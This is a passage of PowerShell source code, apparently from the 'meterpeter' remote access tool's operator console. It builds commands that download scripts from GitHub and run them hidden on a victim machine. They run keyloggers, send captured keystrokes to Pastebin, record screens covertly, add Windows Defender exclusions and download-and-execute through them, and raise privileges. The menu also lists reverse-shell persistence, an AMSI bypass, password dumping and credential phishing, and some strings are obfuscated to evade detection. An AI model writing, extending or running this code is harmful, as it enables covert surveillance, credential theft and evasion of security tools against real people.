$Command = "cd `$Env:TMP;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Dump-Browser/SocialMedia.ps1`" -OutFile `"SocialMedia.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file SocialMedia.ps1 -schedule '$ForceOrNot' -mode start -delay $LoopDelayTime -force -sendtopastebin`""
}
}
Else
{
$SetMeUp = "False"
$RawTime = (Get-Date -Format 'HH:mm')
Write-Host " - Schedule cmdlet execution at ($RawTime|now): " -NoNewline
$ForceOrNot = Read-Host
If($ForceOrNot -iMatch '^(now)$')
{
## meterpeter module output
write-host "`n`n [" -ForegroundColor Green -NoNewline
write-host "$CurrentTime" -NoNewline
write-host "] 👁🗨 Social media key`logger 👁🗨" -ForegroundColor Green
write-host " 💀 Starting key`logger in background!"
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "SendToPasteBin : " -NoNewline
write-host "$SetMeUp" -ForegroundColor Red
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "IsBrowserActive : " -NoNewline
write-host "check" -ForegroundColor Red
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "LoopDelayTime : " -NoNewline
write-host "1200`n" -ForegroundColor Green
## Execute command [start key`logger normal]
$Command = "cd `$Env:TMP;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Dump-Browser/SocialMedia.ps1`" -OutFile `"SocialMedia.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file SocialMedia.ps1 -mode start`""
}
Else
{
$SetMeUp = "False"
If(-not($ForceOrNot -match '^(\d+\d+:+\d+\d)$'))
{
$ForceOrNot = "now"
}
## meterpeter module output
write-host "`n`n [" -ForegroundColor Green -NoNewline
write-host "$CurrentTime" -NoNewline
write-host "] 👁🗨 Social media key`logger 👁🗨" -ForegroundColor Green
write-host " 💀 Starting key`logger in background!"
write-host " ⛑️ Schedule capture to: " -NoNewline
write-host "$ForceOrNot" -ForegroundColor Green -NoNewline
write-host " hours."
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "SendToPasteBin : " -NoNewline
write-host "$SetMeUp" -ForegroundColor Red
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "IsBrowserActive : " -NoNewline
write-host "check" -ForegroundColor Red
write-host " 👁️ " -ForegroundColor Green -NoNewline
write-host "LoopDelayTime : " -NoNewline
write-host "1200`n" -ForegroundColor Green
## Execute command [start key`logger schedule]
$Command = "cd `$Env:TMP;iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Dump-Browser/SocialMedia.ps1`" -OutFile `"SocialMedia.ps1`"|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList `"-file SocialMedia.ps1 -schedule '$ForceOrNot' -mode start`""
}
}
}
Else
{
write-host ""
If($SetMeUp -imatch '^(True)$')
{
## Execute command [stop key`logger]
$Command = "If(-not(Test-Path -Path `$Env:TMP\met.pid)){echo `"``n``n > Error: Social media key`logger not found in `$Env:COMPUTERNAME!``n`" `> `$Env:TMP\repo.log;Get-Content -Path `$Env:TMP\repo.log;Remove-Item -Path `$Env:TMP\repo.log -Force}Else{powershell -file `$Env:TMP\SocialMedia.ps1 -mode stop -sendtopastebin;`$KillFirstPID = (Get-Content -Path `$Env:TMP\met.pid);Remove-Item -Path `$Env:TMP\met.pid -Force;Stop-Process -Id `$KillFirstPID -Force;Remove-Item `$Env:TMP\SocialMedia.ps1 -Force}"
}
Else
{
## Execute command [stop key`logger]
$Command = "If(-not(Test-Path -Path `$Env:TMP\met.pid)){echo `"``n``n > Error: Social media key`logger not found in `$Env:COMPUTERNAME!``n`" `> `$Env:TMP\repo.log;Get-Content -Path `$Env:TMP\repo.log;Remove-Item -Path `$Env:TMP\repo.log -Force}Else{powershell -file `$Env:TMP\SocialMedia.ps1 -mode stop;`$KillFirstPID = (Get-Content -Path `$Env:TMP\met.pid);Remove-Item -Path `$Env:TMP\met.pid -Force;Stop-Process -Id `$KillFirstPID -Force;Remove-Item `$Env:TMP\SocialMedia.ps1 -Force}"
}
}
}
If($choise -ieq "Mouse")
{
## Random FileName generation
$Rand = -join (((48..57)+(65..90)+(97..122)) * 80 |Get-Random -Count 6 |%{[char]$_})
$CaptureFile = "$Env:TMP\MouseCapture-" + "$Rand.zip" ## Capture File Name
Write-Host " - Time of capture (seconds): " -ForeGroundColor Red -NoNewline
[int]$Timmer = Read-Host
If([int]$Timmer -lt 10)
{
$Timmer = "15"
Write-Host " => Error: wrong input, set demo to '$Timmer'" -ForegroundColor Red
}
#banner
Write-Host "`n`n Capture Timer Remote Storage" -ForegroundColor Green
Write-Host " ------- ------ --------------"
Write-Host " MouseClicks $Timmer(sec) %TMP%\MouseCapture-${Rand}.zip`n"
If(Test-Path "$Env:WINDIR\System32\psr.exe")
{
$Command = "Start-Process -WindowStyle hidden powershell -ArgumentList `"psr.exe`", `"/start`", `"/output `$Env:TMP\MouseCapture-$Rand.zip`", `"/sc 1`", `"/maxsc 100`", `"/gui 0;`", `"Start-Sleep -Seconds $Timmer;`", `"psr.exe /stop`" -EA SilentlyContinue|Out-Null"
}
Else
{
Write-Host " => error: '$Env:WINDIR\System32\psr.exe' not found .." -ForegroundColor Red -BackgroundColor Black
}
}
If($choise -ieq "Keystrokes")
{
Write-Host " - Start or Stop keyst`rokes key`logger? (start|stop): " -ForegroundColor Red -NoNewline
$Exechoise = Read-Host
If($Exechoise -iMatch '^(stop)$')
{
## Stop recording system keys`trokes
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/keymanager.ps1`" -OutFile `"`$Env:TMP\KeyManager.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\KeyManager.ps1`" -Action 'Stop';Remove-Item -Path `"`$Env:TMP\KeyManager.ps1`" -Force"
}
Else
{
Write-Host " - Use PS v2 to exec key`logger? (y|n): " -ForeGroundColor Red -NoNewline
$UsePS2 = Read-Host
If($UsePS2 -iMatch '^(y|yes)$')
{
$UsePS2 = "true"
}
Else
{
$UsePS2 = "false"
}
## Capture remote host keyst`rokes
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/keymanager.ps1`" -OutFile `"`$Env:TMP\KeyManager.ps1`"|Unblock-File;powershell -File `"`$Env:TMP\KeyManager.ps1`" -Action 'Start' -UsePS2 $UsePS2;Remove-Item -Path `"`$Env:TMP\KeyManager.ps1`" -Force"
}
}
If($choise -ieq "PasteBin")
{
write-host "`n`n Description" -ForegroundColor Yellow
write-host " -----------"
write-host " This module takes the contents of keyl`ogger logfile (void.log)"
write-host " and creates a new pastebin paste from it on the sellected account"
write-host " each sellected time interval (120 sec) a max of 20 times (max pasts)"
write-host " Recomended timeout: " -NoNewline;
write-host "3600 (one paste each hour)" -ForegroundColor Yellow -NoNewline
write-host " maxpastes: " -NoNewline
write-host "10 (max)" -ForegroundColor Yellow
write-host "`n`n Modules Description Remark" -ForegroundColor green;
write-host " ------- ----------- ------";
write-host " Start Send keys`trokes to pastebin max of 20 pastes allowed by day";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:keyl`ogger:PasteBin> " -NoNewline -ForeGroundColor Green;
$PasteBinChoise = Read-Host;
If($PasteBinChoise -ieq "Start")
{
$PasteSettings = "True"
Write-Host " - Input PastebinUsername : " -ForeGroundColor Red -NoNewline
$PastebinUsername = Read-Host
If($PastebinUsername -eq $null)
{
$PasteSettings = "False"
$PastebinUsername = "missing pastebin acc name"
write-host " => error: missing -PastebinUsername parameter" -ForegroundColor Red -BackgroundColor Black
}
Write-Host " - Input PastebinPassword : " -ForeGroundColor Red -NoNewline
$PastebinPassword = Read-Host
If($PastebinPassword -eq $null)
{
$PasteSettings = "False"
write-host " => error: missing -PastebinPassword parameter" -ForegroundColor Red -BackgroundColor Black
}
Write-Host " - Max of pastes to create : " -NoNewline
$MaxPastes = Read-Host
If(-not($MaxPastes) -or $MaxPastes -eq $null)
{
$MaxPastes = "15"
write-host " => Max value missing, defaulting to: $MaxPastes" -ForegroundColor DarkYellow
}
Write-Host " - Create past each xxx sec: " -NoNewline
$TimeOut = Read-Host
If($MaxPastes -gt 1)
{
If($TimeOut -eq $null -or $TimeOut -lt 120)
{
$TimeOut = "120"
write-host " => TimeOut value very low, defaulting to: $TimeOut" -ForegroundColor DarkYellow
}
}
Else
{
If($TimeOut -eq $null)
{
$TimeOut = "120"
write-host " => TimeOut value missing, defaulting to: $TimeOut" -ForegroundColor DarkYellow
}
}
write-host " * Send ke`ystrokes to pastebin" -ForegroundColor Green
Write-Host "`n" #Module Banner
Write-Host " Pastebin Username : $PastebinUsername"
If($PastebinPassword -eq $null)
{
Write-Host " PasteBin password : " -NoNewline;
Write-Host "missing parameter declaration." -ForegroundColor Red -BackgroundColor Black;
}
Else
{
Write-Host " PasteBin password : " -NoNewline;
Write-Host "*********" -ForegroundColor Green;
}
Write-Host " Max Pastes To Create : $MaxPastes (max)"
Write-Host " Create Paste TimeOut : each $TimeOut (seconds)"
Write-Host " Keyl`ogger File Path : `$Env:TMP\void.log`n"
If($PasteSettings -iMatch '^(True)$')
{
$Command = "iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/SendToPasteBin.ps1`" -OutFile `"`$Env:TMP\SendToPasteBin.ps1`"|Unblock-file;Start-Process -WindowStyle hidden powershell -ArgumentList `"-File `$Env:TMP\SendToPasteBin.ps1 -PastebinUsername $PastebinUsername -PastebinPassword $PastebinPassword -MaxPastes $MaxPastes -TimeOut $TimeOut -Egg true`"";
}
Else
{
$Command = $Null;
}
}
Else
{
$PasteBinChoise = $null;
$Command = $Null;
}
}
If($choise -ieq "Return" -or $choice -ieq "return" -or $choise -ieq "cls" -or $choise -ieq "Modules" -or $choise -ieq "modules" -or $choise -ieq "clear")
{
$Command = $Null;
}
}
If($Command -ieq "PostExploit" -or $Command -ieq "post")
{
## Post-Exploiation Modules (red-team)
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Post expl`oitation manager"
write-host "`n`n Modules Description" -ForegroundColor green;
write-host " ------- -----------";
write-host " Stream Stream remote host desktop live";
write-host " Camera Take snapshots with remote webcam";
write-host " FindEop Search for EOP possible entry points";
write-host " Escalate Escalate privs from UserLand to Admin";
write-host " Persist Persist reverse tcp shell on startup";
write-host " TimeStamp Change remote host files timestamp";
write-host " Msstore manage applications from msstore"
write-host " Artifacts Clean remote host activity tracks";
write-host " HiddenDir Super\hidden directorys manager";
write-host " hideUser Remote hidden accounts manager";
write-host " Passwords Dump (vault|dpapi|files|WDigest)";
write-host " BruteAcc Brute-force user account password";
write-host " PhishCred Promp remote user for logon creds";
write-host " AMS`Ipatch Disable AMS1 within current process";
write-host " Allprivs Enable all current shell privileges";
write-host " Exclusions Manage Windows Defender exclusions";
write-host " LockPC Lock remote host WorkStation";
write-host " Restart Restart remote host WorkStation";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
If($choise -ieq "Msstore")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " winget command line tool enables users to list, discover, install"
write-host " or uninstall programs in silent mode [windows 10\11 OS versions]"
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " List installed packets [local] UserLand";
write-host " Discover search for appl msstore UserLand";
write-host " install application from msstore UserLand";
write-host " Uninstall application from [local] UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Msstore> " -NoNewline -ForeGroundColor Green;
$win_choise = Read-Host;
If($win_choise -ieq "List")
{
Write-Host " * Enumerating installed programs!" -ForegroundColor Green;write-host ""
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/Invoke-Winget.ps1`" -OutFile `"`$Env:TMP\Invoke-WinGet.ps1`"|Out-Null;powershell -file Invoke-WinGet.ps1 -Action 'list' -AutoDelete 'on'"
}
If($win_choise -ieq "Discover")
{
$Program = Read-Host " - Program name to search "
If(-not($Program) -or $Program -ieq $null)
{
$Program = "games"
Write-Host " => Error: wrong program, set demo to '$Program' .." -ForegroundColor Red
}
Write-Host " * Search for '$Program' in msstore!" -ForegroundColor Green;write-host ""
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/Invoke-Winget.ps1`" -OutFile `"`$Env:TMP\Invoke-WinGet.ps1`"|Out-Null;powershell -file Invoke-WinGet.ps1 -Action 'discover' -program '$Program' -AutoDelete 'on'"
}
If($win_choise -iMatch '^(install)$')
{
$Program = Read-Host " - Program name "
If(-not($Program) -or $Program -ieq $null)
{
Write-Host "`n > Error: program name required to run module!" -ForegroundColor Red
$Command = $null
}
Else
{
$Id = Read-Host " - Program ID "
If(-not($Id) -or $Id -ieq $null)
{
Write-Host "`n > Error: program ID required to run module!" -ForegroundColor Red
$Command = $null
}
Else
{
Write-Host " * Install '$Program' from msstore!" -ForegroundColor Green;write-host ""
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/Invoke-Winget.ps1`" -OutFile `"`$Env:TMP\Invoke-WinGet.ps1`"|Out-Null;powershell -file Invoke-WinGet.ps1 -Action 'install' -program '$Program' -Id '$Id' -AutoDelete 'on'"
}
}
}
If($win_choise -iMatch '^(Uninstall)$')
{
$Program = Read-Host " - Program name "
If(-not($Program) -or $Program -ieq $null)
{
Write-Host "`n > Error: program name required to run module!" -ForegroundColor Red
$Command = $null
}
Else
{
$Id = Read-Host " - Program ID "
If(-not($Id) -or $Id -ieq $null)
{
Write-Host "`n > Error: program ID required to run module!" -ForegroundColor Red
$Command = $null
}
Else
{
Write-Host " * UnInstall '$Program' from local PC!" -ForegroundColor Green;write-host ""
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/Invoke-Winget.ps1`" -OutFile `"`$Env:TMP\Invoke-WinGet.ps1`"|Out-Null;powershell -file Invoke-WinGet.ps1 -Action 'Uninstall' -program '$Program' -Id '$Id' -AutoDelete 'on'"
}
}
}
If($win_choise -ieq "Return" -or $win_choise -ieq "cls" -or $win_choise -ieq "modules" -or $win_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$win_choise = $Null;
}
}
If($choise -ieq "HiddenDir" -or $choise -ieq "Hidden")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This cmdlet allow users to Query\Create\Delete super hidden folders."
write-host " Super hidden folders contains 'hidden, system' attributes set and does"
write-host " not show-up in explorer (gui) even if 'show hidden files' its activated."
Write-Host " Remark: Leave the input fields blank to random search for directorys." -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- ------------------";
write-host " Search for regular hidden folders UserLand";
write-host " Super Search super hidden folders UserLand";
write-host " Create Create\Modify super hidden UserLand";
write-host " Delete One super hidden folder UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Post:Hidden> " -NoNewline -ForeGroundColor Green;
$Vault_choise = Read-Host;
If($Vault_choise -ieq "Search")
{
$FolderName = Read-Host " - Folder name to search "
If(-not($FolderName) -or $FolderName -ieq $null)
{
$FolderName = "false"
Write-Host " => Error: wrong FolderName, set demo to 'false' .." -ForegroundColor Red
}
$Directory = Read-Host " - The directory to scan "
If(-not($Directory) -or $Directory -ieq $null)
{
$Directory = "false"
$Recursive = "false"
Write-Host " => Error: wrong Directory, set demo to 'CommonLocations' .." -ForegroundColor Red
}
Else
{
Write-Host " - Recursive search (y|n):" -ForeGroundColor Red -NoNewline
$Recursive = Read-Host
If($Recursive -iMatch '^(y|yes)$')
{
$Recursive = "True"
}
Else
{
$Recursive = "false"
}
}
Write-Host " * Enumerating hidden folders!" -ForegroundColor Green;write-host ""
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/SuperHidden.ps1`" -OutFile `"`$Env:TMP\SuperHidden.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\SuperHidden.ps1 -Action Query -Directory `"$Directory`" -FolderName `"$FolderName`" -Recursive `"$Recursive`" -Attributes `"Hidden`";Remove-Item -Path `$Env:TMP\SuperHidden.ps1 -Force"
}
If($Vault_choise -ieq "Super")
{
$FolderName = Read-Host " - Folder name to search "
If(-not($FolderName) -or $FolderName -ieq $null)
{
$FolderName = "false"
Write-Host " => Error: wrong FolderName, set demo to 'false' .." -ForegroundColor Red
}
$Directory = Read-Host " - The directory to scan "
If(-not($Directory) -or $Directory -ieq $null)
{
$Directory = "false"
$Recursive = "false"
Write-Host " => Error: wrong DirectoryInput, set demo to 'CommonLocations' .." -ForegroundColor Red
}
Else
{
Write-Host " - Recursive search (y|n):" -ForeGroundColor Red -NoNewline
$Recursive = Read-Host
If($Recursive -iMatch '^(y|yes)$')
{
$Recursive = "True"
}
Else
{
$Recursive = "false"
}
}
Write-Host " * Enumerating super hidden folders.`n" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/SuperHidden.ps1`" -OutFile `"`$Env:TMP\SuperHidden.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\SuperHidden.ps1 -Action Query -Directory `"$Directory`" -FolderName `"$FolderName`" -Recursive `"$Recursive`";Remove-Item -Path `$Env:TMP\SuperHidden.ps1 -Force"
}
If($Vault_choise -ieq "Create")
{
Write-Host " - Create Hidden or Visible dir:" -ForeGroundColor Red -NoNewline
$Action = Read-Host
If(-not($Action) -or $Action -ieq $null)
{
$Action = "hidden"
write-host " => wrong input, default to '$Action'" -ForegroundColor Red
}
$FolderName = Read-Host " - Folder name to Create\Modify"
If(-not($FolderName) -or $FolderName -ieq $null)
{
$FolderName = "vault"
write-host " => wrong input, default to '$FolderName'" -ForegroundColor Red
}
$Directory = Read-Host " - The storage directory to use"
If(-not($Directory) -or $Directory -ieq $null)
{
$Directory = "`$Env:TMP"
write-host " => wrong input, default to '$Directory'" -ForegroundColor Red
}
Write-Host " * Create\Modify super hidden folders" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/SuperHidden.ps1`" -OutFile `"`$Env:TMP\SuperHidden.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\SuperHidden.ps1 -Action $Action -Directory `"$Directory`" -FolderName `"$FolderName`";Remove-Item -Path `$Env:TMP\SuperHidden.ps1 -Force"
}
If($Vault_choise -ieq "Delete")
{
Write-Host " - Folder name to delete:" -ForeGroundColor Red -NoNewline
$FolderName = Read-Host
If(-not($FolderName) -or $FolderName -ieq $null)
{
$FolderName = "vault"
write-host " => wrong input, default to '$FolderName'" -ForegroundColor Red
}
$Directory = Read-Host " - The storage directory"
If(-not($Directory) -or $Directory -ieq $null)
{
$Directory = "`$Env:TMP"
write-host " => wrong input, default to '$Directory'" -ForegroundColor Red
}
Write-Host " * Delete super hidden folders" -ForegroundColor Green
$Command = "iwr -Uri `"https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/SuperHidden.ps1`" -OutFile `"`$Env:TMP\SuperHidden.ps1`"|Out-Null;powershell -WindowStyle hidden -File `$Env:TMP\SuperHidden.ps1 -Action Delete -Directory `"$Directory`" -FolderName `"$FolderName`";Remove-Item -Path `$Env:TMP\SuperHidden.ps1 -Force"
}
If($Vault_choise -ieq "Return" -or $Vault_choise -ieq "cls" -or $Vault_choise -ieq "modules" -or $Vault_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Vault_choise = $Null;
}
}
If($choise -ieq "Exclusions")
{
$Obione = "Ex@clu@sionPa@th" -replace '@',''
$Obitwo = "@Ex@clus@io@nPr@oc@es@s" -replace '@',''
$Obitre = "Ex@cl@us@@ion@E@xt@en@@sion" -replace '@',''
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Manage Windows Defender exclusions (query, create, delete)."
write-host " Types: $Obitre, $Obitwo, $Obione,ExclusionIpAddress."
write-host " The files covered by the exclusion definition will be excluded from Defender"
write-host " Real-time protection, proactive monitoring, Scheduled scans, On-demand scans."
write-host " Remark: URI will be upload to %TMP% and not deleted after execution." -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Query Query all Defender exclusions " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Create Create a new Defender exclusion " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " UrlExec Download\Exec through exclusion " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Delete Delete one Defender exclusion " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Exclusions> " -NoNewline -ForeGroundColor Green;
$WD_choise = Read-Host;
If($WD_choise -ieq "Query")
{
#Execute command remote
write-host " * Query for Defender exclusions.`n`n" -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WD-Bypass/Invoke-Exclusions.ps1`" -OutFile `"`$Env:TMP\Invoke-Exclusions.ps1`";powershell -file `"`$Env:TMP\Invoke-Exclusions.ps1`" -Action 'query';Remove-Item -Path `"`$Env:TMP\Invoke-Exclusions.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($WD_choise -ieq "Create")
{
write-host " - $Obitre, $Obitwo, $Obione, Exc`lusionIpAd`dress: " -ForeGroundColor Red -NoNewline;
$ExcludeType = Read-Host;
If(-not($ExcludeType) -or $ExcludeType -eq $null)
{
$ExcludeType = "$Obione"
}
write-host " - Exclude from Defender scans: " -ForeGroundColor Red -NoNewline;
$ExcludePath = Read-Host;
If(-not($ExcludePath) -or $ExcludePath -eq $null)
{
$ExcludePath = "`$Env:TMP"
}
#Execute command remote
write-host " * Create a new Defender exclusion.`n`n" -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WD-Bypass/Invoke-Exclusions.ps1`" -OutFile `"`$Env:TMP\Invoke-Exclusions.ps1`";powershell -file `"`$Env:TMP\Invoke-Exclusions.ps1`" -Action 'add' -Type `"$ExcludeType`" -Exclude `"$ExcludePath`";Remove-Item -Path `"`$Env:TMP\Invoke-Exclusions.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($WD_choise -ieq "UrlExec")
{
write-host " - $Obitre, $Obitwo, $Obione, Exclu`sionIpAd`dress: " -ForeGroundColor Red -NoNewline;
$ExcludeType = Read-Host;
If(-not($ExcludeType) -or $ExcludeType -eq $null)
{
$ExcludeType = "$Obione"
}
write-host " - The URL to be downloaded: " -NoNewline;
$UriLink = Read-Host;
If(-not($UriLink) -or $UriLink -eq $null)
{
Write-Host "x Error: none URL sellected ..`n" -ForegroundColor Red
$Command = $Null
}
Else
{
write-host " - Arguments: " -NoNewline;
$Arguments = Read-Host;
write-host " * Create a new Defender exclusion.`n`n" -ForegroundColor Green
If(-not($Arguments) -or $Arguments -eq $null)
{
#Execute command remote
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WD-Bypass/Invoke-Exclusions.ps1`" -OutFile `"`$Env:TMP\Invoke-Exclusions.ps1`";powershell -file `"`$Env:TMP\Invoke-Exclusions.ps1`" -Action 'exec' -Type `"$ExcludeType`" -Exclude `"`$Env:TMP`" -Uri `"$UriLink`";Remove-Item -Path `"`$Env:TMP\Invoke-Exclusions.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
Else
{
#Execute command remote
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WD-Bypass/Invoke-Exclusions.ps1`" -OutFile `"`$Env:TMP\Invoke-Exclusions.ps1`";powershell -file `"`$Env:TMP\Invoke-Exclusions.ps1`" -Action 'exec' -Type `"$ExcludeType`" -Exclude `"`$Env:TMP`" -Uri `"$UriLink`" -Arguments `"$Arguments`";Remove-Item -Path `"`$Env:TMP\Invoke-Exclusions.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
}
}
If($WD_choise -ieq "Delete")
{
write-host " - $Obitre, $Obitwo, $Obione, Exclu`sionIpAd`dress: " -ForeGroundColor Red -NoNewline;
$ExcludeType = Read-Host;
If(-not($ExcludeType) -or $ExcludeType -eq $null)
{
$ExcludeType = "$Obione"
}
write-host " - Exclusion entry to delete: " -ForeGroundColor Red -NoNewline;
$ExcludePath = Read-Host;
If(-not($ExcludePath) -or $ExcludePath -eq $null)
{
$ExcludePath = "`$Env:TMP"
}
#Execute command remote
write-host " * Delete one Defender exclusion.`n`n" -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/WD-Bypass/Invoke-Exclusions.ps1`" -OutFile `"`$Env:TMP\Invoke-Exclusions.ps1`";powershell -file `"`$Env:TMP\Invoke-Exclusions.ps1`" -Action 'del' -Type `"$ExcludeType`" -Exclude `"$ExcludePath`";Remove-Item -Path `"`$Env:TMP\Invoke-Exclusions.ps1`" -Force}Else{echo `" `> Error: administrator privileges required.`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($WD_choise -ieq "Return" -or $WD_choise -ieq "cls" -or $WD_choise -ieq "Modules" -or $WD_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$WD_choise = $Null;
$ExcludeType = $Null;
$ExcludePath = $Null;
}
}
If($choise -ieq "Allprivs")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This function uses 'EnableAllParentPrivileges'"
write-host " (by: @gtworek) to elevate shell token privileges."
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green
write-host " ------- ----------- -------------------";
write-host " demo Enable all token privileges (client) " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " cmdline Execute 1 cmdline with full privileges " -NoNewline
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Post:Allprivs> " -NoNewline -ForeGroundColor Green;
$all_choise = Read-Host;
If($all_choise -ieq "demo")
{
#Execute command remote
$CmdlineToExecute = "whoami /priv|Out-File myprivileges.log -Force"
write-host " * Elevating all process privileges (demo)." -ForegroundColor Green
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){iwr -uri `"https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/utils/EnableAllParentPrivileges.exe`" -OutFile `"`$Env:TMP\EnableAllParentPrivileges.exe`"|Unblock-File;cd `$Env:TMP;.\EnableAllParentPrivileges.exe;$CmdlineToExecute;Remove-Item -Path `"`$Env:TMP\EnableAllParentPrivileges.exe`" -Force;Get-Content myprivileges.log;Remove-Item myprivileges.log -Force}Else{echo `" `> Error: administrator privileges required on remote`" `> `$Env:TMP\fddds.log;Get-Content -Path `"`$Env:TMP\fddds.log`";Remove-Item -Path `"`$Env:TMP\fddds.log`" -Force}"
}
If($all_choise -ieq "cmdline")
{
write-host " - cmdline to execute: " -ForeGroundColor Red -NoNewline;
$CmdlineToExecute = Read-Host;
If(-not($CmdlineToExecute) -or $CmdlineToExecute -eq $null)
{
#Demonstration cmdline that executes whoami /priv and stores results on logfile to display on console terminal
$CmdlineToExecute = "whoami /priv|Out-File myprivileges.log -Force;Start-Sleep -Seconds 1;Get-Content myprivileges.log;Remove-Item myprivileges.log -Force"
}
#Execute command remote
write-host " * Elevating all process privileges." -ForegroundColor Green
